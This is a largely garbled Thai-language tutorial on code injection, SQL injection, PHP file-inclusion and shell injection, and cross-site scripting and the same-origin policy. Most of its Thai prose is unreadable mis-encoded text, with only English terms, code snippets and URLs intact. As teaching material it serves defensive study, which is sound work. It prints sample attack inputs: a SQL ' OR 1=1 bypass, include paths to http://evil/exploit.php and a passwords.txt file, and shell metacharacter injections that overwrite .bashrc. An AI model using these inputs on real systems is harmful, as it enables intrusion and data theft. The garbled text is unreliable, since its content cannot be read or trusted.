dnuazdannauitinzivainnislaudiuleddluadleineania

fiaellniasy Turhndaniallluilasurnaisannavdssinalunaiia
gfnwuInfinsunsszunauadnay Storm Worm unnane drunilvaaiiunsiniluitiu vdadanin
Zombie uasAfiumaiiagavvinulaaisnAlisd arraguuiadasaulnddim
vsaanafluedaszasisae Afusuiusnniy 1313un31 Botnet W3anadviw Botnet Hutav
A15TaNfiza Botnet Miluifiandulunisvinarandianin
viaunasiaglmiiaiiuinnuidtuward Aansideulvtandiiulad
TuunanuiinudatanaliudynsluuulunnsTaudiulasd desalldiay

1. Code injection

code injection LumafiaNld1aasasnisidinlulu computer process MFNdvvinouaL Loala
vinwuu local 3a remote WU tHunafinldlunisiaizsyuu
iNali'ladayanianisidindeszuuiag laildsuauaa

n1silavAu Code Injection
A1sasIadau / wA'la input

nsasIaday (Wrawd'ly) input nETdWaTRwUlaIN input Tulaaadanaunisld
FaNANgaAaN15ANAA input NUNRIFe (Terminate on suspicious input) ka1 tENALNS Filter in
known goods talvigunsafi vualainnsianddivinnsgadiidaniali

- Terminate on suspicious input tHunasnsflaansaunn dfidnuseiliniadaly input
agfinsanidnnisiangdmiiv

«  Throw away bad charaters iflugnmaidannilefiuaniuiiaann Terminate on suspicious input
Snuseiihaedaavgninaanann input uavasvanadnuszAdunIA LitanuseAvhasde u

3
aad a oo

application ¥ia1e 4 §¥38HHuIRReAUATR G50

at'lsAaIsliarafiTanmanuilygmidiuainuilaassauinnii
«  Fiter in known goods §1A10%13931 input IARAELAFIAANT A-Z W3a a-z ued'Ié5Y ; 1s -1
input A9LdiNazgAUNUAGIE Isl (UAY ; - / gnrrdmaantal)
 Filter out known bads Lﬂuﬂaqmﬁﬁ“l,ﬂﬁ fnUSNUTY [:5.-/] Hudnusen'lis weleidu ;1s -1/
input AaLuazgAUNUTAGI 1s 1 (wazA1dn -/ aan'lal) A5l filter out known bad
ngnuasiniunisuandonismaanuainisaaasfweun asain
- nagnsibiflasAuannfannauilizdn WnwmunTaavh 9 W v3auwsiue Security engineer
‘LhisnusazemaiinlunisTandiionualé nsilasAuiReoeniaog
Aanisliilaviusagenaaliinioviua
- nagndiiliilasduannsaanmuluauiaa dousinnsaanuwuy filterout
azgfimnudaandalunausiietiuvin ussdhudu 4 sasszuuanaldauldluaunaa i security filter
81150 UNIX command line aanuuustiianann1s1ans C shell



ana'llilaandudnsaludrganviviidenanigninaldlugnwuindanild bash

Encode (escape) output

nsdingia output ilunsdssananasadnuseiavgnavaantiiu output
snuszAanannnguanuseilaansds iy a-z, A-Z uay 0-9 Fnavdaaalviiluadefisudly
srudnuszau 9 aradlullldiazgadianulumelildaia’ls
fotfuSegaunuiidransuansludnwasiignidnsia

AN3LENSWR HTML : <script> gAtdingwatilu &lt;script&egt;
A19LE15WE SQL : ' OR 1=1 --' gALdinswa LIy \ \\ OR\ \=1\ \-\-'
aa a

35n152U 9

3 aa a

1afiiEn1sau q Sananedd duagiuamldsunsuiilduavafinuad code injection
naasnsilasiu

un15iladfu SQL Injection Tneaw1e 58A15 parameterized queries (33n1udia prepared statements
WA bind variables &) LiluddAaaaiBanlunisdsuilsvainuilaaasis
wazdualvaulaa ladafgnasnuaussausn1svineIu

énatinvaav Code Injection

SQL Injection

flat19uad SQL Injection:

Suwwanilsfifladaasfladiaanlvigldsiunsala Username uay Password TAAA1ETULWAALHE19
SQL query \iansiadausiarufusadiauas Username

SELECT UserList.Username

FROM UserList

WHERE

UserList.Username = 'Username’
AND UserList.Password = 'Password'

81 query fignaendunnnin 1 uad gliAaunsadinsyuylé aenelsAanueldoala Username
ngnaaduazlglaa (" OR 1=1") N TUTuRlasdswa@s1u 8vinTii query Monuunfianmraiyil

SELECT UserList.Username

FROM UserList

WHERE

UserList.Username = 'Username’

AND UserList.Password = 'Password' OR '1'='1"




a

NnFIaL9dinegY "Password” gadufirgiuinilunasing (blank) Miasnadnuseibitdunse
"1=1" EHANVINAUIFY (true) LENALRLIETUAIURALAINIHARINALUN
AatudvaanTvitdinszuuldmatiatianadiunsadsulvid@iunsagevians 9 statement

N6129N15THYINIIY WIALLNLENITTRARALAYTU
Tdsunsunauanle

PHP Injection

aavasan Tilsunsud:

<?php

$color = 'blue’;

if (is_set( SGET['COLOR']))
$color = $GET[ 'COLOR' |;

require( $color . ".php");

>

<FORM>

<select name="COLOR">

<option>red</option>

<option>blue</option>

</select>

<input type=submit>

</FORM>

PnwanAainTdaiaswindudsnunsailasfulvisivieaous blue.php wag red.php
Wintunausatnan'ld wetiiagannlas 9 AgusagearNndasnisasiu COLOR
i nduldlanagla:

e http://evil/exploit.php - Wadaglulaaddunfitaaildlaudas

. C:\ftp\upload\exploit.php - 1W&AZWINaaLiINATTdaATHTaNE

¢ C:\Document and settings\Administrator\My Documents\passwords.txt - ‘LW& a eilu server
Aanafluiaula

Shell Injection

Shell Inection d9&taa1u Unix shells usilfifunnszuuiiaanliganyivisanansaidndifiari command
line M6 TaansidiauTisunsy Taaluduniinuad Shell Injection 3¥1N1A system(),
StartProcess(), java.lang.Runtime.exec() ttag API fndungofu

aaIfRasaunTalsunsu PHP &u q sialalil (@eldTusunsunnauanda funnytext tiatl@audranngld
AIEFATAU)



<HTML>

<?php

passthru (" /home/user/phpguru/funnytext "
.$_GET[ 'USER_INPUT'] );

>

a v o

Tusunsuanagnladdelunane q S8adu:

+ “command” agtdndiAIviA&9

+  $(command) L anGAEIVIAE

« ; command ALENGAIAIFI LATLAAIHAIWEUDIAAY

| command ALt ENGAIIAAY wazuRAIHAAWEURIAIAY

e«  && command ALLENGAVIAIAY uasuaAIHAENEURIAS

¢ |l command AetENFAIVIAFY wATLEAINAAWEUDIAY

e > /home/user/phpguru/.bashrc agttiauiulwa .bashrc.

< /home/user/phpguru/.bashrc ag&9'1Wa .bashre ‘laliilu input 129 funnytext

PHP fifleridfu escapeshellarg() wag escapeshellemd() tinavinn1stdinsia (encode) AaunIg
Banld atnelsAau'lsimisiiadiadsnsuarfiviavadnifie) Asaagauwazwila
input 678

HTML/Script Injection
HTML/Script Injection 5¥n1ufiazas Cross Site Scripting (XSS).

2. Cross site scripting

cross site scripting tluzas niduanulaaasunanfianasufianile Asniaalu web application
Ngnldiaag1audiiNalaus same origin policy 2V script languages Uadily client

. . . < - o o a %3 . . . . 1
same origin policy tlusnasnisdnanulaaadanardu&1uiu client-side scripting (f3uluaiilu
JavaScript) policy T4fun69ue Netscape Navigator 2.0 fivzhailasiutangisurasgaslvininanain
"fluALlla" (origin) BilvANNNITFUMIAMINUAAAFNTIRYaILanAITINN "dudLda” Nuaneg

AN3INAMNSLANAY (Access restriction)
U521y U89 same origin policy Aa AsiiafiasgnsNnIvaauiannivladla 9 dairlilaaasi
gasdvinlvianuiiadatemdvLienazvingulu sandbox

Jemrsauaaliiindoniwannsaniylaedid e duriniy .
Tigansavdindanswenasanaiuladaule dearatduniwennsnese’les

Sandbox fia szuutaaRfi g nsusuTlsunsuitlilésuanudadaattvilaande




A3 "duAlia” Auualaald domain name, protocol LAY port
Silwagasuinagfidudfiadendudfidarauauiiau dodradesaldil Afidracrouas
"auAlia" LfRauAauduy URL

http://www.example.com/dir/page.html

URL WA LAGHA
http://www.example.com/dir2/other.html GRlER
http://www.example.com/dir/inner/otherhtml | &1 153
https://www.example.com/dir2/other.html NULUAY protocol A19AU
http://en.example.com/dir2/other.html AULUAD host A19AY
http://example.com/dir2/other.html NULUAD host A19AY
http://www.example.com:81/dir2/other.html AULUAD port 619U

A5t AULANTINAMNSLANEY (Overcoming access restriction)

Hulaafasiansusdaindaidiaansldaradudiinaa (digital signature) Fuaa3Ui (signed script)
atn9lsAmuTum9lfisudr Widanfinslingdd

winuasd ulvaiiuwnebilanaauiiaiunsamda digital signature ‘U6
Tamawggwamuniuivinduonuadien uananideusiingasinnsld signed script wédH
Azdiniineng (window) UsngiiudialaAeuiaesdvisiaonis@nsiinduannid
daifludnanasaisudle lasann signed script ‘Bildnanaanuinduaaslvididadaldonun
Wevusidadaldginunanadudiiaiu uafo'lisinaasdvitiuase 9 udivinaylsting

AsiinunU3uldaas vendor
policy i'laFun1stnantdluciuusassiatninsiusuy client-side scripting &3u Internet
Explorer 1438n015111381731 security zones

AHAAHALRNLANALIAY security zones AN
http://www.microsoft.com/windows/ie/using/howto/security/settings.mspx

o . L.
NUNAAY Cross site scripting

A3 cross site scripting ‘Lildaginaufinnastasinifldatnogndiasiin Marc Slemko
NAunUAasTnItlana1139

“Ueyw 116 AeAY scripting uaglaidnflugasfoladidag cross site tAaAuTU
udvinluAvdasliail inshaddliunndiailagwiidefianudnlalinnnidn udr3vdeagAuiail
VianuLaay Ilidsnaasvinunnninnsaatiananin”


http://www.example.com/dir/page.html

Tnfinsldeatia CSS lunauduiiadnediorasind cross site scripting
wadndailgnarmiuanuduaulanionaiia iagain Cascading Style Sheets way Content-
Scrambling System 6in9fildiAtiafiud? dufirgiuinnisld XSS udrdailuafousning Steve
Champeon uunAINGEa9 XSS , Trust, and Barney Tutlad. 2002 Tutiu Webmonkey 129120
uanandl Steve Fo'ldi@iauduuzirdonisld Xss ludrtaunuuasidudellfoannunan
Bugtraq 8néha anntfunguanulaaadadelduratatiunlduny uay CSS Afinsldiadnede
cross site scripting Uagun

flo'linusuzasuasdavaadiunausa’ll atrgleaalvivinugarugudusi i
GRGLlRkfT
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